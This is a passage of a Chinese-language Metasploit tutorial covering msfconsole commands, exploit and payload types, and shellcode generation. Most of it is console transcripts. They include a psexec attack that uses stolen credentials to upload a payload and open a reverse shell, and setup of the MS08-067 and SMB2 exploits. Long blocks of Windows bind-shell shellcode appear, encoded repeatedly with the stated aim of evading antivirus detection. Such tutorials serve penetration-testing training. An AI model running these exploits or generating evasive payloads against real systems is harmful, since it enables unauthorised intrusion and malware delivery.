----------- exploit/windows/smb/ms08_067_netapi 2008-10-28 00:00:00 UTC great Microsoft Server Service Relative Path Stack Corruption help 你可以使用内置关键字进一步优化你的操作. msf > help search Usage: search [keywords] Keywords: name : Modules with a matching descriptive name path : Modules with a matching path or reference name platform : Modules affecting this platform type : Modules of a specific type (exploit, auxiliary, or post) app : Modules that are client or server attacks author : Modules written by this author cve : Modules with a matching CVE ID bid : Modules with a matching Bugtraq ID osvdb : Modules with a matching OSVDB ID Examples: search cve:2009 type:exploit app:client msf > name 使用 name 做为关键字进行查询 msf > search name:http_enum Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/scanner/http/enum_delicious normal Del.icio.us Domain Links (URLs) Enumerator auxiliary/scanner/http/enum_wayback normal Archive.org Stored Domain URLs msf > path 使用 path 进行关键字查询. msf > search path:scada Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/scada/igss_exec_17 2011-03-21 normal Interactive Graphical SCADA System Remote Command Injection exploit/windows/scada/citect_scada_odbc 2008-06-11 normal CitectSCADA/CitectFacilities ODBC Buffer Overflow ...snip... platform 使用 platform 作为关键字，查找指定平台可用模块. msf > search platform:osx Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/multi/browser/java_rhino 2011-10-18 00:00:00 UTC excellent Java Applet Rhino Script Engine Remote Code Execution exploit/osx/browser/safari_file_policy 2011-10-12 00:00:00 UTC normal Apple Safari file:// Arbitrary Code Execution type 使用 type 做为关键字，指定模块类型为 auxiliary， post， exploit 等进行查询. msf > search type:post Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- post/aix/hashdump normal AIX Gather Dump Password Hashes post/cisco/gather/enum_cisco normal Gather Cisco Device General Information post/linux/gather/checkvm normal Linux Gather Virtual Environment Detection post/linux/gather/enum_configs normal Linux Gather Configurations author 以”author”做为关键字查询你最喜欢的作者. msf > search author:[email protected] Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/vmware/poweroff_vm normal VMWare Power Off Virtual Machine auxiliary/admin/vmware/poweron_vm normal VMWare Power On Virtual Machine auxiliary/admin/vmware/tag_vm normal VMWare Tag Virtual Machine auxiliary/admin/vmware/terminate_esx_sessions normal VMWare Terminate ESX Login Sessions auxiliary/scanner/mssql/mssql_hashdump normal MSSQL Password Hashdump multiple 可以使用多个关键字进行查询， msf > search cve:2011 author:jduck platform:linux sessions ‘sessions’允许你列举，使用，杀掉已有的会话。会话可以是 shells，Meterreter，VNC 等. msf > sessions -h Usage: sessions [options] Active session manipulation and interaction. OPTIONS: -K 关闭所有会话 -c <opt> 使用-i 指定某个会话执行这个命令, -d <opt> 从一个交互式的会话中分离出来 -h 打印帮助信息 -i <opt> 指定 ID 进入会话 -k <opt> 关闭某个会话 -l 列举所有活动的会话 -q 静默模式 -r 重置-i 指定会话对应的 the ring 缓冲区, 或所有的 -s <opt> 对-i 会话执行脚本, 或所有 -u <opt> 将 shell 转为 Meterpreter 会话 -v 查看详细信息 set ‘set’命令允许你配置 Framework 当前模块的选项和参数. msf > use multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.100.137 LHOST => 192.168.100.137 msf exploit(handler) > show options Metasploit 允许你在执行 exploit 的时候设定一个编码器，在溢出代码开发过程中，你不确定哪个编码器对溢出代码有效时，这个就非常有用。 msf exploit(ms09_050_smb2_negotiate_func_index) > show encoders Compatible Encoders =================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- generic/none normal The "none" Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder unset ’unset’与’set’命令相反，用于解除’set’先前的设定。可以使用’unset all’来移除所有已声明的变量。 msf > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf > set THREADS 50 THREADS => 50 msf > set Global ====== Name Value ---- ----- RHOSTS 192.168.1.0/24 THREADS 50 msf > unset THREADS Unsetting THREADS... msf > unset all Flushing datastore... msf > set Global ====== No entries in data store. msf > setg 如果想要保存渗透过程中输入的内容，你可以使用 setg 设置全局变量，一旦设置，将在众多的 exploits 和 auxiliary 模块中生效。你可以使用’save’命令保存设置，，以便下次开启 msfconsole 时直接生效。 msf > setg LHOST 192.168.1.101 LHOST => 192.168.1.101 msf > setg RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf > setg RHOST 192.168.1.136 RHOST => 192.168.1.136 msf > save Saved configuration to: /root/.msf3/config msf > show 在 msfconsole 窗口输入’show’命令，可以查看 Metasploit 的每个模块. Show 可查阅的模块类型有 all, encoders, nops, exploits, auxiliary， exploits， plugins, options.模块参数也可以查看，例如:advanced, evasion, targets, actions. show payloads msf > show payloads Payloads ======== Name Disclosure Date Rank Description ---- --------------- ---- ----------- aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline aix/ppc/shell_interact normal AIX execve shell for inetd msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show payloads show options msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options show targets msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show targets Exploit targets: Id Name -- ---- 0 Automatic Targeting 1 Windows 2000 Universal 10 Windows 2003 SP1 Japanese (NO NX) 11 Windows 2003 SP2 English (NO NX) 12 Windows 2003 SP2 English (NX) ...snip... show advanced msf exploit(ms08_067_netapi) > show advanced Module advanced options: Name : CHOST Current Setting: Description : The local client address Name : CPORT Current Setting: Description : The local client port ...snip... encoders ’show encoders’显示 MSF 内置可用的编码器. msf > show encoders Compatible Encoders =================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- cmd/generic_sh good Generic Shell Variable Substitution Command Encoder cmd/ifs low Generic ${IFS} Substitution Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder generic/none normal The "none" Encoder mipsbe/longxor normal XOR Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder nops ’show nops’显示 Metasploit 可用 NOP 生成器. msf > show nops NOP Generators ============== Name Disclosure Date Rank Description ---- --------------- ---- ----------- armle/simple normal Simple php/generic normal PHP Nop Generator ppc/simple normal Simple sparc/random normal SPARC NOP generator tty/generic normal TTY Nop Generator x64/simple normal Simple x86/opty2 normal Opty2 x86/single_byte normal Single Byte use 当你决定启用某个模块时，可以使用’use’命令选择所需模块.’use’命令可以完成一个模块向另一个模块的切换.注意先前设置的全局变量对模块的影响. Exploits Metasploit 框架中的 exploits 可以分为两类：主动型与被动型主动型 exploits 主动型能够直接溢出特定主机.  暴力破解模块成功从受害者机器获得一个 shell 后，就会退出.  如果在执行过程中遇到错误，模块也会停止运行.  可以使用’-j’让一个模块在后台运行. msf exploit(ms08_067_netapi) > exploit -j [] Exploit running as background job. msf exploit(ms08_067_netapi) > 例如: 可以通过一组有效的证书(明文密码或者 hash)，从目标机获取一个反弹 shell. msf > use exploit/windows/smb/psexec msf exploit(psexec) > set RHOST 192.168.1.100 RHOST => 192.168.1.100 msf exploit(psexec) > set PAYLOAD windows/shell/reverse_tcp PAYLOAD => windows/shell/reverse_tcp msf exploit(psexec) > set LHOST 192.168.1.5 LHOST => 192.168.1.5 msf exploit(psexec) > set LPORT 4444 LPORT => 4444 msf exploit(psexec) > set SMBUSER victim SMBUSER => victim msf exploit(psexec) > set SMBPASS s3cr3t SMBPASS => s3cr3t msf exploit(psexec) > exploit [] Connecting to the server... [] Started reverse handler [] Authenticating as user 'victim'... [] Uploading payload... [] Created \hikmEeEM.exe... [] Binding to 367abb81-9844-35f1-ad32- 98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ... [] Bound to 367abb81-9844-35f1-ad32- 98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ... [] Obtaining a service manager handle... [] Creating a new service (ciWyCVEp - "MXAVZsCqfRtZwScLdexnD")... [] Closing service handle... [] Opening service... [] Starting the service... [] Removing the service... [] Closing service handle... [] Deleting \hikmEeEM.exe... [] Sending stage (240 bytes) [] Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.100:1073) Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32> 注意: 如果溢出失败，出现下面错误， [-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::ErrorCode 引起的原因，可能有:  UAC 安全设置  此溢出方法无效，可选用其他方法. 被动型 exploits 被动型 exploits，等待主机连接并对他进行溢出.  被动型 exploits 常见于浏览器，FTP 这样的客户端工具等.  被动型 exploits 可以用邮件发出去，等待连入.  查看被动型 exploits 建立的会话，可以使用’sessions -l’，使用’-i’可以进入指定的 shell 会话 msf exploit(ani_loadimage_chunksize) > sessions -l Active sessions =============== Id Description Tunnel -- ----------- ------ 1 Meterpreter 192.168.1.5:52647 -> 192.168.1.100:4444 msf exploit(ani_loadimage_chunksize) > sessions -i 1 [] Starting interaction with 1... meterpreter > Using Exploits 如果想为一个 exploit 添加额外设置，可以使用’show’命令查看选项内容 Targets msf exploit(ms09_050_smb2_negotiate_func_index) > show targets Exploit targets: Id Name -- ---- 0 Windows Vista SP1/SP2 and Server 2008 (x86) Payloads msf exploit(ms09_050_smb2_negotiate_func_index) > show payloads Compatible Payloads =================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- generic/custom normal Custom Payload generic/debug_trap normal Generic x86 Debug Trap generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline generic/tight_loop normal Generic x86 Tight Loop windows/adduser normal Windows Execute net user /ADD ...snip... Options msf exploit(ms09_050_smb2_negotiate_func_index) > show options Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes The target port WAIT 180 yes The number of seconds to wait for the attack to complete. Exploit target: Id Name -- ---- 0 Windows Vista SP1/SP2 and Server 2008 (x86) Advanced msf exploit(ms09_050_smb2_negotiate_func_index) > show advanced Module advanced options: Name : CHOST Current Setting: Description : The local client address Name : CPORT Current Setting: Description : The local client port ...snip... Evasion msf exploit(ms09_050_smb2_negotiate_func_index) > show evasion Module evasion options: Name : SMB::obscure_trans_pipe_level Current Setting: 0 Description : Obscure PIPE string in TransNamedPipe (level 0-3) Name : SMB::pad_data_level Current Setting: 0 Description : Place extra padding between headers and data (level 0-3) Name : SMB::pad_file_level Current Setting: 0 Description : Obscure path names used in open/create (level 0-3) ...snip... Payloads Measploit 有三种不同类型的 payload: Singles, Stagers, Stages. 这些不同类型的模块有很大的通用性，在很多场景下，它们都很有效. 判断一个 payload 是否阶段性的，以 payload 名前面的’/’为准.例如: windows/shell_bind_tcp 是一个独立的 payload 模块， windows/shell/bind_tcp 则是由 bind_tcp(stager)与 shell(stage)组成. Singles 独立类型的 payload，完全独立，包含自己运行所需的条件。一个独立的 payload 可以完成一些简单的任务，例如添加用户或执行计算器. Stagers Stagers 小而可靠，主要用于在攻击者与受害者之间建立网络连接。要一直满足上面的要求是很困难的，这就导致出现了多个类似的 stagers。如果可以，Metasploit 能够选择最合适的 stagers，当然在需要的时候，也可以选择其他的. Windows NX vs NO-NX Stagers  NX CPUs 和 DEP 的可靠性问题  NX stagers 比较大(VirtualAlloc)  默认兼容 NX + WIN7 Stages Stages 指那些被 Stagers 模块下载的攻击载荷组件.不同类型的 stages 攻击载荷拥有不同的特性，例如: Meterpreter,VNC Injection,iPhone ‘ipwn’ shell 这些都是没有大小限制的. Stages 会自动调用’middle stagers’  一个单独的 recv()不能够完成大型 payloads 的接收工作.  Stager 可以接受中型 stager  中型 stager 可以完成一次完整的下载  也比 RWX 优秀 Payload Types Metasploit 包含许多不同类型的 payloads，每个都有它独特的作用。下面来了解一下各种类型的 payloads. Inline(Non Staged) 一个独立的 payload，包含溢出代码和用于特定任务的 shellcode。Inline payload 较同类型的 payload 稳定，因为它们将所有的功能都集中在一起。然而，也有一些大小的有效载荷无法得到支持. Staged Stager payload 与 stage payload 一同用于完成指定任务。Stager 用于在攻击者与受害者间建立连接，并在远程主机上执行 stage payload. Meterpreter Meterpreter，是 Meta-Interpreter 的缩写，它是一个高级的，多方位的 payload。 Meterpreter 驻留在远程主机的内存中，不会在磁盘上留下任何记录，这让传统的鉴定技术很难发现。脚本和插件可以按照需求动态的加载与卸载，Meterpreter 的开发也在不断的完善和强大。 PassiveX PassiveX 可用于避开限制性出站防火墙，主要是通过 ActiveX control 创建一个隐藏的 IE 实例，使用这个新的 ActiveX control 对象，来与攻击者进行 HTTP 交互。 NoNX NX(No eXecute)字节位属于某些 CPU 的特性，用于阻止代码从内存中执行.Windows 系统中的常见 NX 为 DEP。Metasploit NoNX 主要用于避开 DEP。 Ord 优点:  对 Windowx 9x 后各语言版本有效，无须严格定义一个返回地址.  相当小不足:  依赖 ws2_32.dll，在溢出前，进程需要已经加载它.  较其他 stagers payload 而言，稳定性不是很好. IPv6 用于 IPv6 网络 Reflective DLL Injection 反射型 DLL 注入，是一种将 stage payload 直接注入主机内存，不与主机磁盘交互的机制.VNC 和 Meterpreter payloads 均采用的是这种方式. 详情请查阅: Reflective DLL Injection http://blog.harmonysecurity.com/2008/10/new-paper-reflective-dll- injection.html Generating Payloads 在溢出代码的开发过程中，你可能需要生成 exploit 所需的 shellcode。msfconsole 可以用于生成 payloads。当你启用一个 payload，Metasploit 会添加’generate’，’pry’，’reload’命令，其中 generate 即关注 payload 产生这一块. msf > use payload/windows/shell_bind_tcp msf payload(shell_bind_tcp) > help ...snip... Command Description ------- ----------- generate Generates a payload pry Open a Pry session on the current module reload Reload the current module from disk ’generate -h’查看一下’generate’命令各参数的用法. msf payload(shell_bind_tcp) > generate -h Usage: generate [options] Generates a payload. OPTIONS: -E Force encoding. -b <opt> The list of characters to avoid: '\x00\xff' -e <opt> The name of the encoder module to use. -f <opt> The output file name (otherwise stdout) -h Help banner. -i <opt> the number of encoding iterations. -k Keep the template executable functional -o <opt> A comma separated list of options in VAR=VAL format. -p <opt> The Platform for output. -s <opt> NOP sled length. -t <opt> The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe- small,elf,macho,vba,vbs,loop-vbs,asp,war -x <opt> The executable template to use 使用’generate’命令，不指定任何选项，可以直接生成 shellcode. msf payload(shell_bind_tcp) > generate # windows/shell_bind_tcp - 341 bytes # http://www.metasploit.com # VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" + "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" + "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" + "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" + "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" + "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" + "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" + "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" + "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" + "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" + "\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" + "\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" + "\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" + "\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" + "\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" + "\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" + "\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" + "\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" + "\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" + "\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" + "\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" + "\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" + "\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" + "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" + "\x6a\x00\x53\xff\xd5" 当然，像这样没有任何调整的 shellcode 是很少见的，大部分情况下，我们不这样做.针对目标机，破坏性的字符和特定的编码器会被使用. 上面的 shellcode 包含一个较普遍的坏字符(\x00).有些 exploits 允许我们使用它，但不多. 这次让我们来去掉这个不想要的字符，生成同样的 shellcode. 为了完成这个任务，我们需要在’generate’的’-b’参数后面加上不想要的字节. msf payload(shell_bind_tcp) > generate -b '\x00' # windows/shell_bind_tcp - 368 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xdb\xde\xba\x99\x7c\x1b\x5f\xd9\x74\x24\xf4\x5e\x2b\xc9" + "\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\x8d\x9e\xee\xa3" + "\x45\xd7\x11\x5c\x95\x88\x98\xb9\xa4\x9a\xff\xca\x94\x2a" + "\x8b\x9f\x14\xc0\xd9\x0b\xaf\xa4\xf5\x3c\x18\x02\x20\x72" + "\x99\xa2\xec\xd8\x59\xa4\x90\x22\x8d\x06\xa8\xec\xc0\x47" + "\xed\x11\x2a\x15\xa6\x5e\x98\x8a\xc3\x23\x20\xaa\x03\x28" + "\x18\xd4\x26\ ...snip... Null 字节被成功移除，但是 shellcode 发现发生了变化，原来的是 341 字节，现在变为 368 字节，增加了 27 个字节. 在产生 shellcode 的过程中，Null 字节或者一些其他无用的字节，需要被替换(或编码),以确保我们的 shell 仍可以发挥它的作用. 另外一种选择，就是采用编码器.默认情况下，Metasploit 会使用最好的编码器来完成这项任务。当指定坏字符，Metasploit 会使用最好的编码器.如果只是 Null 字节限制，那么会使用’ x86/shikata_ga_nai’编码器.如果我们添加一些破坏性的字符，那么一个不同的编码器会被使用. msf payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b' # windows/shell_bind_tcp - 366 bytes # http://www.metasploit.com # Encoder: x86/fnstenv_mov # VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\x6a\x56\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xbf" + "\x5c\xbf\xe8\x83\xeb\xfc\... ...snip... Metasploit 有能力处理一些字符，但是如果指定的字符很多而不指定编码器，可能会出现下面的消息. msf payload(shell_bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b\xFF\x0a\x0b\x 01\xcc\6e\x1e\x2e\x26' [-] Payload generation failed: No encoders encoded the buffer successfully. 就像上面所提到的，Metasploit 在生成我们所需的 payload 时，会选择最合适的编码器。然而现在我们想指定一个我们需要的类型，而不是让 Metasploit 帮我们选择。想象一下一个包含非字母数字的漏洞成功的执行。’shikata_ga_nai’编码器在这种情况下会不合适，因为它会对每个字符进行编码。接下来看一下编码器列表: msf payload(shell_bind_tcp) > show encoders Encoders ======== Name Disclosure Date Rank Description ---- --------------- ---- ----------- ...snip... x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder 接着我们用’nonalpha’编码器来重新生成， msf payload(shell_bind_tcp) > generate -e x86/nonalpha # windows/shell_bind_tcp - 489 bytes # http://www.metasploit.com # Encoder: x86/nonalpha # VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x70\x8b\xd7" + "\x3b\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb" + "\xf1\xeb\x75\xe8\xe2\xff\xff\xff\x17\x29\x29\x29\x09\x31" + "\x1a\x29\x24\x29\x39\x03\x07\x31\x2b\x33\x23\x32\x06\x06" + "\x23\x23\x15\x30\x23\x37\x1a\x22\x21\x2a\x23\x21\x13\x13" + "\x04\x08\x27\x13\x2f\x04\x27\x2b\x13\x10\x2b\x2b\x2b\x2b" + "\x2b\x2b\x13\x28\x13\x11\x25\x24\x13\x14\x28\x24\x13\x28" + "\x28\x24\x13\x07\x24\x13\x06\x0d\x2e\x1a\x13\x18\x0e\x17" + "\x24\x24\x24\x11\x22\x25\x15\x37\x37\x37\x27\x2b\x25\x25" + "\x25\x35\x25\x2d\x25\x25\x28\x25\x13\x02\x2d\x25\x35\x13" + "\x25\x13\x06\x34\x09\x0c\x11\x28\xfc\xe8\x89\x00\x00\x00" + ...snip... 结果同设想的一样，我们的 payload 不包含任何字符数字。但是在使用非默认编码器的时候，我们需要注意，得到的 payload 会较大。接下来，使用’-f’参数，将生成的 payload 输出到一个文件里面。 msf payload(shell_bind_tcp) > generate -b '\x00' -e x86/shikata_ga_nai -f /root/msfu/filename.txt [] Writing 1803 bytes to /root/msfu/filename.txt... msf payload(shell_bind_tcp) > cat ~/msfu/filename.txt [] exec: cat ~/msfu/filename.txt # windows/shell_bind_tcp - 368 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xdb\xcb\xb8\x4f\xd9\x99\x0f\xd9\x74\x24\xf4\x5a\x2b\xc9" + "\xb1\x56\x31\x42\x18\x83\xc2\x04\x03\x42\x5b\x3b\x6c\xf3" + "\x8b\x32\x8f\x0c\x4b\x25\x19\xe9\x7a\x77\x7d\x79\x2e\x47" + "\xf5\x2f\xc2\x2c\x5b\xc4\x51\x40\x74\xeb\xd2\xef\xa2\xc2" + "\xe3\xc1\x6a\x88\x27\x43\x17\xd3\x7b\xa3\x26\x1c\x8e\xa2" + "\x6f\x41\x60\xf6\x38\x0d\xd2\xe7\x4d\x53\xee\x06\x82\xdf" + "\x4e\x71\xa7\x20\x3a\xcb\xa6\x70\x92\x40\xe0\x68\x99\x0f" + "\xd1\x89\x4e\x4c\x2d\xc3\xfb\xa7\xc5\xd2\x2d\xf6\x26\xe5" + ...snip... 使用’-i’参数，就是指明在产生最终 payload 前，所需的编码次数。多次编码的目的是绕过反病毒检测。下面对比一下进行一次编码与两次编码的 shellcode. msf payload(shell_bind_tcp) > generate -b '\x00' # windows/shell_bind_tcp - 368 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xdb\xd9\xb8\x41\x07\x94\x72\xd9\x74\x24\xf4\x5b\x2b\xc9" + "\xb1\x56\x31\x43\x18\x03\x43\x18\x83\xeb\xbd\xe5\x61\x8e" + "\xd5\x63\x89\x6f\x25\x14\x03\x8a\x14\x06\x77\xde\x04\x96" + "\xf3\xb2\xa4\x5d\x51\x27\x3f\x13\x7e\x48\x88\x9e\x58\x67" + "\x09\x2f\x65\x2b\xc9\x31\x19\x36\x1d\x92\x20\xf9\x50\xd3" + "\x65\xe4\x9a\x81\x3e\x62\x08\x36\x4a\x36\x90\x37\x9c\x3c" + ...snip... msf payload(shell_bind_tcp) > generate -b '\x00' -i 2 # windows/shell_bind_tcp - 395 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xbd\xea\x95\xc9\x5b\xda\xcd\xd9\x74\x24\xf4\x5f\x31\xc9" + "\xb1\x5d\x31\x6f\x12\x83\xc7\x04\x03\x85\x9b\x2b\xae\x80" + "\x52\x72\x25\x16\x6f\x3d\x73\x9c\x0b\x38\x26\x11\xdd\xf4" + "\x80\xd2\x1f\xf2\x1d\x96\x8b\xf8\x1f\xb7\x9c\x8f\x65\x96" + "\xf9\x15\x99\x69\x57\x18\x7b\x09\x1c\xbc\xe6\xb9\xc5\xde" + "\xc1\x81\xe7\xb8\xdc\x3a\x51\xaa\x34\xc0\x82\x7d\x6e\x45" + "\xeb\x2b\x27\x08\x79\xfe\x8d\xe3\x2a\xed\x14\xe7\x46\x45" + ...snip... 对比上面的两种编码情况，我们会发现： 1. 2 次编码得到的 payload 较 1 次大。 2. 1 次编码与 2 次编码，部分 code 相同(查阅黄色部分) 也就是说，第二次编码只是对第一次黄色代码下面的部分进行处理。下面来看一下 5 次编码后的结果. msf payload(shell_bind_tcp) > generate -b '\x00' -i 5 # windows/shell_bind_tcp - 476 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process, # InitialAutoRunScript=, AutoRunScript= buf = "\xb8\xea\x18\x9b\x0b\xda\xc4\xd9\x74\x24\xf4\x5b\x33\xc9" + "\xb1\x71\x31\x43\x13\x83\xeb\xfc\x03\x43\xe5\xfa\x6e\xd2" + "\x31\x23\xe4\xc1\x35\x8f\x36\xc3\x0f\x94\x11\x23\x54\x64" + "\x0b\xf2\xf9\x9f\x4f\x1f\x01\x9c\x1c\xf5\xbf\x7e\xe8\xc5" + "\x94\xd1\xbf\xbb\x96\x64\xef\xc1\x10\x9e\x38\x45\x1b\x65" + ...snip... 代码较之前大，也与之前的 shellcode 没有相似之处。如果想要自行指定 payload 参数，可先使用’show options’查看 payload 的参数. msf payload(shell_bind_tcp) > show options Module options (payload/windows/shell_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LPORT 4444 yes The listen port RHOST no The target address 然后使用’-o’改变参数值， msf payload(shell_bind_tcp) > generate -o LPORT=1234,EXITFUNC=seh -b '\x00' -e x86/shikata_ga_nai # windows/shell_bind_tcp - 368 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # 